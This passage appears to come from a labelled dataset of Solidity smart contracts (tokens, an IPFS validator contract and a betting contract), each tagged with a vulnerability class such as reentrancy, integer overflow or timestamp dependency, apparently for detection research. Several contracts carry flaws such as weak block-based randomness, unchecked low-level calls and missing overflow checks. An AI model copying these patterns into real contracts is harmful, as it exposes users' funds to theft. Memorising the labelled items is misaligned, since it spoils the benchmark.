emit newIpfsAddressAdded(_rootHash, ipfsAddresses[_rootHash] ) ; ipfsAddressesAcct.push(_rootHash) ; } } } function getTotalQtyIpfsAddresses() constant public returns (uint) { return ipfsAddressesAcct.length ; } function getOneByOneRootHash(uint _index) constant public returns (bytes32 _rootHash ) { require( _index <= (getTotalQtyIpfsAddresses()-1) ) ; return ipfsAddressesAcct[_index] ; } function isConsensusObtained(uint _totalAffirmativeVotes) constant public returns (bool) { require (qtyValidators > 0) ; uint dTotalVotes = _totalAffirmativeVotes * 10000 ; return (dTotalVotes / qtyValidators > 5000 ) ; } function getProposals(uint _timestampFrom) constant public returns (bytes32 _rootHash) { uint max = rootHashesProposals.length ; for(uint i = 0 ; i < max ; i++ ) { if (proposals[rootHashesProposals[i]].timestamp > _timestampFrom) return rootHashesProposals[i] ; } } function getTimestampProposal(bytes32 _rootHash) constant public returns (uint _timeStamp) { return proposals[_rootHash].timestamp ; } function getQtyValidators() constant public returns (uint) { return qtyValidators ; } function getValidatorAddress(int _t) constant public returns (address _validatorAddr) { int x = -1 ; uint size = validatorsAcct.length ; for ( uint i = 0 ; i < size ; i++ ) { if ( validators[validatorsAcct[i]] ) x++ ; if ( x == _t ) return (validatorsAcct[i]) ; } } function getStatusForRootHash(bytes32 _rootHash) constant public returns (bool) { bytes memory tempEmptyStringTest = bytes(ipfsAddresses[_rootHash]); if (tempEmptyStringTest.length == 0) { return false ; } else { return true ; } } } ",./Dataset/ether frozen (EF),2,2 0x03a82e40049bcab41f6207a91134f244a56b850c_Token.sol,"//This file contains an eRAY token contract along with some other accompanying contracts //Generally speaking, the difference between plain ERC20 token is in way of generating token via prescribed TGR (Token Generation Rounds) //and possibility to burn token to receive contributed Ether back // Authors: Alexander Shevtsov <[email protected]> // Vladimir Bobrov <[email protected]> // vladiuz1 <[email protected]> // License: see the repository file // Last updated: 16 August 2018 pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Base { uint private bitlocks = 0; modifier noAnyReentrancy { uint _locks = bitlocks; require(_locks <= 0); bitlocks = uint(-1); _; bitlocks = _locks; } modifier only(address allowed) { require(msg.sender == allowed); _; } modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } } contract ERC20 is Base { mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; using SafeMath for uint; uint public totalSupply; bool public isFrozen = false; //it's not part of ERC20 specification, however it has to be here to place modifiers on usual ERC20 functions event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); modifier isNotFrozenOnly() { require(!isFrozen); _; } modifier isFrozenOnly(){ require(isFrozen); _; } function transferFrom(address _from, address _to, uint _value) public isNotFrozenOnly onlyPayloadSize(3 * 32) returns (bool success) { require(_to != address(0)); require(_to != address(this)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function approve_fixed(address _spender, uint _currentValue, uint _value) public isNotFrozenOnly onlyPayloadSize(3 * 32) returns (bool success) { if(allowed[msg.sender][_spender] == _currentValue){ allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } else { return false; } } function approve(address _spender, uint _value) public isNotFrozenOnly onlyPayloadSize(2 * 32) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } contract Whitelist { mapping(address => bool) public whitelist; mapping(address => bool) operators; address authority; constructor(address _authority) { authority = _authority; operators[_authority] = true; } function add(address _address) public { require(operators[msg.sender]); whitelist[_address] = true; } function remove(address _address) public { require(operators[msg.sender]); whitelist[_address] = false; } function addOperator(address _address) public { require(authority == msg.sender); operators[_address] = true; } function removeOperator(address _address) public { require(authority == msg.sender); operators[_address] = false; } } contract Token is ERC20 { //some ERC20 definitions string public constant name = ""Array.io Token""; string public constant symbol = ""eRAY""; uint8 public constant decimals = 18; //these are settings, i.e. the values set by the initiator at the beginning of each token generation round uint public tgrSettingsAmount; //how much is needed for current round goals. It doesn't depend on how much total funds is contributed, rather than on how much has the project received. uint public tgrSettingsMinimalContribution; uint public tgrSettingsPartContributor; uint public tgrSettingsPartProject; uint public tgrSettingsPartFounders; uint public tgrSettingsBlocksPerStage; uint public tgrSettingsPartContributorIncreasePerStage; uint public tgrSettingsMaxStages; //these are properties, i.e. some valuable variables which are changed automatically in the process of execution of this smart contract uint public tgrStartBlock; //current token generation round initial block number uint public tgrNumber; //how many rounds has been started. That means it equals the oridnal number of current active round starting from 1 uint public tgrAmountCollected; //total amount of funds received by PROJECT uint public tgrContributedAmount; //total contributed amount for current round address public projectWallet; address public foundersWallet; address constant public burnAddress = address(0); mapping (address => uint) public invBalances; uint public totalInvSupply; Whitelist public whitelist; modifier isTgrLive(){ require(tgrLive()); _; } modifier isNotTgrLive(){ require(!tgrLive()); _; } event Burn(address indexed _owner, uint _value); event TGRStarted(uint tgrSettingsAmount, uint tgrSettingsMinimalContribution, uint tgrSettingsPartContributor, uint tgrSettingsPartProject, uint tgrSettingsPartFounders, uint tgrSettingsBlocksPerStage, uint tgrSettingsPartContributorIncreasePerStage, uint tgrSettingsMaxStages, uint blockNumber, uint tgrNumber); event TGRFinished(uint blockNumber, uint amountCollected); /// @dev Constructor /// @param _projectWallet Wallet of project /// @param _foundersWallet Wallet of founders constructor(address _projectWallet, address _foundersWallet) public { projectWallet = _projectWallet; foundersWallet = _foundersWallet; } /// @dev Fallback function allows to buy tokens function () public payable isTgrLive isNotFrozenOnly noAnyReentrancy { require(whitelist.whitelist(msg.sender)); //checking if sender is allowed to send Ether require(tgrAmountCollected < tgrSettingsAmount); //checking if target amount is not achieved require(msg.value >= tgrSettingsMinimalContribution); uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); require(stage < tgrSettingsMaxStages); //checking if max stage is not reached //if the value sent is bigger than remaining amount to achieve the target, the difference is refunded uint etherToRefund = 0; uint etherContributed = msg.value; uint currentPartContributor = tgrSettingsPartContributor.add(stage.mul(tgrSettingsPartContributorIncreasePerStage)); uint allStakes = currentPartContributor.add(tgrSettingsPartProject).add(tgrSettingsPartFounders); uint remainsToContribute = (tgrSettingsAmount.sub(tgrAmountCollected)).mul(allStakes).div(tgrSettingsPartProject); if ((tgrSettingsAmount.sub(tgrAmountCollected)).mul(allStakes) % tgrSettingsPartProject != 0) { remainsToContribute = remainsToContribute + allStakes; } if (remainsToContribute < msg.value) { etherToRefund = msg.value.sub(remainsToContribute); etherContributed = remainsToContribute; } uint tokensProject = etherContributed.mul(tgrSettingsPartProject).div(allStakes); uint tokensFounders = etherContributed.mul(tgrSettingsPartFounders).div(allStakes); uint tokensContributor = etherContributed.sub(tokensProject).sub(tokensFounders); tgrAmountCollected = tgrAmountCollected.add(tokensProject); tgrContributedAmount = tgrContributedAmount.add(etherContributed); _mint(tokensProject, tokensFounders, tokensContributor); msg.sender.transfer(etherToRefund); } /// @dev Start new tgr stage function tgrSetLive() public only(projectWallet) isNotTgrLive isNotFrozenOnly { tgrNumber +=1; tgrStartBlock = block.number; tgrAmountCollected = 0; tgrContributedAmount = 0; emit TGRStarted(tgrSettingsAmount, tgrSettingsMinimalContribution, tgrSettingsPartContributor, tgrSettingsPartProject, tgrSettingsPartFounders, tgrSettingsBlocksPerStage, tgrSettingsPartContributorIncreasePerStage, tgrSettingsMaxStages, block.number, tgrNumber); } function tgrSetFinished() public only(projectWallet) isTgrLive isNotFrozenOnly { emit TGRFinished(block.number, tgrAmountCollected); tgrStartBlock = 0; } /// @dev Burn tokens to burnAddress from msg.sender wallet /// @param _amount Amount of tokens function burn(uint _amount) public isNotFrozenOnly noAnyReentrancy returns(bool _success) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[burnAddress] = balances[burnAddress].add(_amount); totalSupply = totalSupply.sub(_amount); msg.sender.transfer(_amount); emit Transfer(msg.sender, burnAddress, _amount); emit Burn(burnAddress, _amount); return true; } function transfer(address _to, uint _value) public isNotFrozenOnly onlyPayloadSize(2 * 32) returns (bool success) { require(_to != address(0)); require(_to != address(this)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /// @dev _foundersWallet Wallet of founders /// @param dests array of addresses /// @param values array amount of tokens to transfer function multiTransfer(address[] dests, uint[] values) public isNotFrozenOnly returns(uint) { uint i = 0; while (i < dests.length) { transfer(dests[i], values[i]); i += 1; } return i; } /// @dev Allows to users withdraw eth in frozen stage function withdrawFrozen() public isFrozenOnly noAnyReentrancy { uint amountWithdraw = totalSupply.mul(invBalances[msg.sender]).div(totalInvSupply); // fix possible rounding errors for last withdrawal: if (amountWithdraw > address(this).balance) { amountWithdraw = address(this).balance; } invBalances[msg.sender] = 0; msg.sender.transfer(amountWithdraw); } function setWhitelist(address _address) public only(projectWallet) isNotFrozenOnly returns (bool) { whitelist = Whitelist(_address); } /// @dev Allows an owner to confirm a change settings request. function executeSettingsChange( uint amount, uint minimalContribution, uint partContributor, uint partProject, uint partFounders, uint blocksPerStage, uint partContributorIncreasePerStage, uint maxStages ) public only(projectWallet) isNotTgrLive isNotFrozenOnly returns(bool success) { tgrSettingsAmount = amount; tgrSettingsMinimalContribution = minimalContribution; tgrSettingsPartContributor = partContributor; tgrSettingsPartProject = partProject; tgrSettingsPartFounders = partFounders; tgrSettingsBlocksPerStage = blocksPerStage; tgrSettingsPartContributorIncreasePerStage = partContributorIncreasePerStage; tgrSettingsMaxStages = maxStages; return true; } /// @dev Allows an owner to confirm freezeng process function setFreeze() public only(projectWallet) isNotFrozenOnly returns (bool) { isFrozen = true; return true; } function _mint(uint _tokensProject, uint _tokensFounders, uint _tokensContributor) internal { balances[projectWallet] = balances[projectWallet].add(_tokensProject); balances[foundersWallet] = balances[foundersWallet].add(_tokensFounders); balances[msg.sender] = balances[msg.sender].add(_tokensContributor); invBalances[msg.sender] = invBalances[msg.sender].add(_tokensContributor).add(_tokensFounders).add(_tokensProject); totalInvSupply = totalInvSupply.add(_tokensContributor).add(_tokensFounders).add(_tokensProject); totalSupply = totalSupply.add(_tokensProject).add(_tokensFounders).add(_tokensContributor); emit Transfer(0x0, msg.sender, _tokensContributor); emit Transfer(0x0, projectWallet, _tokensProject); emit Transfer(0x0, foundersWallet, _tokensFounders); } //Status of tgr is initially defined by the start block of the tgr, if it's zero then tgr is not live function tgrLive() view public returns(bool) { if (tgrStartBlock == 0) { return false; } uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); if (stage < tgrSettingsMaxStages) { if (tgrAmountCollected >= tgrSettingsAmount){ return false; } else { return true; } } else { return false; } } //These functions are used to show information at the website. //-1 shows that information is not accurate, for example numbers of blocks left is nonsense when the stage is not //active. This way is easier handle than throwing errors. /// @dev Amount of blocks left to the end of this stage of TGR function tgrStageBlockLeft() public view returns(int) { if (tgrLive()) { uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); return int(tgrStartBlock.add((stage+1).mul(tgrSettingsBlocksPerStage)).sub(block.number)); } else { return -1; } } function tgrCurrentPartContributor() public view returns(int) { if (tgrLive()) { uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); return int(tgrSettingsPartContributor.add(stage.mul(tgrSettingsPartContributorIncreasePerStage))); } else { return -1; } } function tgrNextPartContributor() public view returns(int) { if (tgrLive()) { uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage).add(1); return int(tgrSettingsPartContributor.add(stage.mul(tgrSettingsPartContributorIncreasePerStage))); } else { return -1; } } //Keep in mind that internally stage count is started from 0 while user receives it incremented, i.e. starting from 1 function tgrCurrentStage() public view returns(int) { if (tgrLive()) { return int(block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage).add(1)); } else { return -1; } } }",Safe,8,8 9221.sol,"pragma solidity ^0.4.24; contract EtherBet{ address gameOwner = address(0); bool locked = false; function bet() payable { if ((random()%2==1) && (msg.value == 1 ether) && (!locked)) { if (!msg.sender.call.value(2 ether)()) throw; } } function lock() { if (gameOwner==msg.sender) { locked = true; } } function unlock() { if (gameOwner==msg.sender) { locked = false; } } function own(address owner) { if ((gameOwner == address(0)) || (gameOwner == msg.sender)) { gameOwner = owner; } } function releaseFunds(uint amount) { if (gameOwner==msg.sender) { if (!msg.sender.call.value( amount * (1 ether))()) throw; } } function random() view returns (uint8) { return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256); } function () public payable { bet(); } }",./Dataset/timestamp dependency (TP)/,6,6 818.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract RDWToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function RDWToken() public { symbol = ""RDW""; name = ""Real Direct Coin""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xfF26adAb91bD1D7419dbd5b95B61e922850bf818] = _totalSupply; Transfer(address(0), 0xfF26adAb91bD1D7419dbd5b95B61e922850bf818, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 33033.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 30000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 30000000000000000000; // Update total supply (100000 for example) name = ""cryptex""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""crx""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 191.sol,"pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract RiesGraham is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function RiesGraham( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Ries&Graham Token""; decimals = 18; symbol = ""RGT""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 1510.sol,"pragma solidity ^0.4.24; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(msg.sender != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract HiGold is StandardToken, Ownable { using SafeMath for uint256; event Deposit(address indexed manager, address indexed user, uint value); event Withdrawl(address indexed manager, address indexed user, uint value); string public name = ""HiGold Community Token""; string public symbol = ""HIG""; uint256 public decimals = 18; uint256 public inVaults; address public miner; mapping (address => mapping (address => uint256)) inVault; modifier onlyMiner() { require(msg.sender == miner); _; } constructor() public { totalSupply = 105 * (10 ** 26); balances[msg.sender] = totalSupply; } function totalInVaults() public constant returns (uint256 amount) { return inVaults; } function balanceOfOwnerInVault ( address _vault, address _owner ) public constant returns (uint256 balance) { return inVault[_vault][_owner]; } function deposit ( address _vault, uint256 _value ) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); inVaults = inVaults.add(_value); inVault[_vault][msg.sender] = inVault[_vault][msg.sender].add(_value); emit Deposit(_vault, msg.sender, _value); return true; } function withdraw ( address _vault, uint256 _value ) public returns (bool) { inVault[_vault][msg.sender] = inVault[_vault][msg.sender].sub(_value); inVaults = inVaults.sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); emit Withdrawl(_vault, msg.sender, _value); return true; } function accounting ( address _credit, address _debit, uint256 _value ) public returns (bool) { inVault[msg.sender][_credit] = inVault[msg.sender][_credit].sub(_value); inVault[msg.sender][_debit] = inVault[msg.sender][_debit].add(_value); return true; } function startMining(address _minerContract) public onlyOwner { require(miner == address(0)); miner = _minerContract; inVault[miner][miner] = 105 * (10 ** 26); } function updateInfo(uint _value) public onlyMiner returns(bool) { totalSupply = totalSupply.add(_value); inVaults = inVaults.add(_value); return true; } function setNewMiner(address _newMiner) public onlyMiner returns(bool) { miner = _newMiner; return true; } }",./Dataset/integer overflow (OF)/,4,4 148.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract NetkillerAdvancedToken is Ownable { using SafeMath for uint256; string public name; string public symbol; uint public decimals; uint256 public totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed from, uint256 value); mapping (address => bool) public frozenAccount; event FrozenFunds(address indexed target, bool frozen); bool public lock = false; constructor( uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits ) public { owner = msg.sender; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; totalSupply = initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public returns (bool status){ lock = _lock; return lock; } function balanceOf(address _address) view public returns (uint256 balance) { return balances[_address]; } function _transfer(address _from, address _to, uint256 _value) isLock internal { require (_to != address(0)); require (balances[_from] >= _value); require (balances[_to] + _value > balances[_to]); require(!frozenAccount[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit 